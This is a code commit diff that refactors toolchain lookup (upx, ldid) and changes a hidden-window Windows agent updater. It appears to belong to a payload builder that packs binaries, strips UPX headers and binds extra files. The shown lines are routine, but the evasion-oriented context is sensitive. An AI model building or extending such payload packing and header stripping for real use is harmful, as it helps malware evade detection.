fix updating and also check path before downloading compilers (can't even fucking download them on windows)
This commit is contained in:
@@ -97,9 +97,15 @@ func launchDeferredUpdateScript(sourcePath string, targetPath string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
cmd := exec.Command("cmd.exe", "/D", "/Q", "/C", scriptPath)
|
||||
cmd := exec.Command("cmd.exe", "/C", scriptPath)
|
||||
cmd.Dir = filepath.Dir(scriptPath)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NEW_PROCESS_GROUP}
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NEW_CONSOLE}
|
||||
nullFile, err := os.OpenFile(os.DevNull, os.O_RDWR, 0)
|
||||
if err == nil {
|
||||
cmd.Stdin = nullFile
|
||||
cmd.Stdout = nullFile
|
||||
cmd.Stderr = nullFile
|
||||
}
|
||||
log.Printf("agent_update[win]: deferred updater script=%q debugLog=%q cmd=%q args=%v", scriptPath, debugLogPath, cmd.Path, cmd.Args)
|
||||
if err := cmd.Start(); err != nil {
|
||||
return fmt.Errorf("failed to start deferred updater: %w", err)
|
||||
|
||||
@@ -103,17 +103,6 @@ type BuildProcessConfig = {
|
||||
boundFiles?: BoundFile[];
|
||||
};
|
||||
|
||||
async function checkUpxAvailable(sendToStream: (data: any) => void): Promise<boolean> {
|
||||
try {
|
||||
const check = await $`upx --version`.quiet().nothrow();
|
||||
if (check.exitCode === 0) {
|
||||
const ver = check.stdout.toString().split("\n")[0]?.trim() || "upx";
|
||||
sendToStream({ type: "output", text: `UPX found: ${ver}\n`, level: "info" });
|
||||
return true;
|
||||
}
|
||||
} catch {}
|
||||
return false;
|
||||
}
|
||||
|
||||
function stripUpxHeaders(filePath: string): boolean {
|
||||
try {
|
||||
@@ -338,20 +327,16 @@ export async function startBuildProcess(
|
||||
|
||||
let upxBin: string | null = null;
|
||||
if (config.enableUpx) {
|
||||
if (await checkUpxAvailable(sendToStream)) {
|
||||
upxBin = "upx";
|
||||
} else {
|
||||
try {
|
||||
const upxTool = await ensureToolchain("upx", sendToStream);
|
||||
upxBin = path.join(upxTool.binDir, "upx");
|
||||
} catch (err: any) {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `ERROR: UPX is not installed and on-demand download failed (${err.message || err}).\n`,
|
||||
level: "error",
|
||||
});
|
||||
throw new Error("UPX not found");
|
||||
}
|
||||
try {
|
||||
const upxTool = await ensureToolchain("upx", sendToStream);
|
||||
upxBin = path.join(upxTool.binDir, "upx");
|
||||
} catch (err: any) {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `ERROR: UPX is not installed and on-demand download failed (${err.message || err}).\n`,
|
||||
level: "error",
|
||||
});
|
||||
throw new Error("UPX not found");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1051,20 +1036,15 @@ func runBoundFiles() {
|
||||
// Attempt pseudo-signing with ldid (system-installed or downloaded on demand).
|
||||
try {
|
||||
let ldidBin: string | null = null;
|
||||
const sysLdid = await $`which ldid`.nothrow().quiet();
|
||||
if (sysLdid.exitCode === 0) {
|
||||
ldidBin = "ldid";
|
||||
} else {
|
||||
try {
|
||||
const tc = await ensureToolchain("ldid", sendToStream);
|
||||
ldidBin = path.join(tc.binDir, "ldid");
|
||||
} catch (dlErr: any) {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `ldid not found and download failed (${dlErr.message || dlErr}); skipping pseudo-signing.\n`,
|
||||
level: "warn",
|
||||
});
|
||||
}
|
||||
try {
|
||||
const tc = await ensureToolchain("ldid", sendToStream);
|
||||
ldidBin = path.join(tc.binDir, "ldid");
|
||||
} catch (dlErr: any) {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `ldid not found and download failed (${dlErr.message || dlErr}); skipping pseudo-signing.\n`,
|
||||
level: "warn",
|
||||
});
|
||||
}
|
||||
if (ldidBin) {
|
||||
const ldidSign = await $`${ldidBin} -S ${path.join(payloadAppDir, appName)}`.nothrow().quiet();
|
||||
|
||||
@@ -263,10 +263,36 @@ async function downloadAndExtract(
|
||||
logger.info(`[toolchain] installed ${key} at ${rootDir}`);
|
||||
}
|
||||
|
||||
function tryResolveFromPath(key: ToolchainKey): EnsuredToolchain | null {
|
||||
const m = MANIFESTS[key];
|
||||
const primaryBin = m.ccBasename || m.binaryFilename;
|
||||
if (!primaryBin) return null;
|
||||
|
||||
const found = Bun.which(primaryBin);
|
||||
if (!found) return null;
|
||||
|
||||
const binDir = path.dirname(found);
|
||||
return {
|
||||
key,
|
||||
rootDir: path.dirname(binDir),
|
||||
binDir,
|
||||
ccPath: m.ccBasename ? found : undefined,
|
||||
cxxPath: m.cxxBasename ? (Bun.which(m.cxxBasename) ?? path.join(binDir, m.cxxBasename)) : undefined,
|
||||
arPath: m.arBasename ? (Bun.which(m.arBasename) ?? path.join(binDir, m.arBasename)) : undefined,
|
||||
};
|
||||
}
|
||||
|
||||
export async function ensureToolchain(
|
||||
key: ToolchainKey,
|
||||
send: SendToStream,
|
||||
): Promise<EnsuredToolchain> {
|
||||
const fromPath = tryResolveFromPath(key);
|
||||
if (fromPath) {
|
||||
logger.info(`[toolchain] using ${key} from PATH: ${fromPath.binDir}`);
|
||||
send({ type: "output", text: `[toolchain] Using system ${MANIFESTS[key].displayName} from PATH\n`, level: "info" });
|
||||
return fromPath;
|
||||
}
|
||||
|
||||
if (isInstalled(key)) {
|
||||
return resolveEnsured(key);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user